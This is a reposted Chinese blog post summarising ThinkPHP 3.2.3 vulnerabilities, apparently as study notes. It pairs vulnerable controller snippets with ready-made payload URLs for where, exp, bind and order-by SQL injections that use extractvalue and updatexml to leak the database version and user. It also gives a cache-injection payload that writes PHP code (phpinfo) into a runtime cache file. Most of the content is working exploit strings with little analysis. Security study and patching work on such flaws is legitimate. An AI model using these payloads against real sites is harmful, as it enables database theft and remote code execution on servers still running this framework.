Thinkphp3.2.3漏洞總結


 
這里分析一下 Thinkphp3.2.3里面的一些漏洞問題
 

Where注入

 
在控制器中寫個利用demo, 字符串 方式作為where傳參時存在注入
 

    public function  getuser(){
        $user = M('users')->where('id='.I('id'))->find();
        dump($user);
    }

 
下斷點分析
 

 
中間的過程有點復雜,我就在返回 sql 語句的出下了斷點,可以看到是類似於 where (1=1) 的形式
 

 

並且好像也沒有過濾什么
 

 
payload

http://host-2/index.php?m=Home&c=Index&a=getuser&id=1) and extractvalue(0x0a,concat(0x0a,(select version())))--+
 

 

exp注入

 
demo如下
 

public function  getuser(){
        $User = D('users');
        $map = array('id' => $_GET['id']);//必須使用 全局數組傳參
        $user = $User->where($map)->find();
        dump($user);
}

 

 
payload
 

http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=exp&id[1]==1  and extractvalue(0x0a,concat(0x0a,(select version())))--+

 

 
太菜了,師傅們的分析文章看不懂
 

bind注入

 

public function  getuser(){
        $data['id'] = I('id');
        $uname['username'] = I('username');
        $user = M('user')->where($data)->save($uname);
        dump($user);
}

 
payload
 

http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

 

 

find/select/delete注入

 
參考文章

https://xz.aliyun.com/t/2629#toc-3

order by注入

 

public function user(){
    $data['username'] = array('eq','admin');
    $user = M('users')->where($data)->order(I('order'))->find();
    dump($user);
}

 
payload
 

order=id and(updatexml(1,concat(0x7e,(select user())),0))

 

緩存漏洞

 
在ThinkPHP3.2中,緩存函數有F方法和S方法,兩個方法有什么區別呢,官方介紹如下:

F方法:相當於PHP自帶的file_put_content和file_get_content函數,沒有太多存在時間的概念,是文件存儲數據的方式。常用於文件配置。
S方法:文件緩存,有生命時長,時間到期后緩存內容會得到更新。常用於單頁面data緩存。

 

public function test(){
    S('name',I('test'));
}

 
我們傳入 test 的值后,會保存在 /Application/Runtime/Temp/md5('name').php 文件里面,里面的值是將我們傳入的值反序列化進去的
 
payload
 

http://host-2/index.php?m=Home&c=Index&a=test&test=%0aphpinfo();/*

 

%oa 先換行跳過 //,在使用 /* 注釋符注釋掉后面的 引號
 

 

參考文章

 
https://www.cnblogs.com/ichunqiu/p/12469123.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM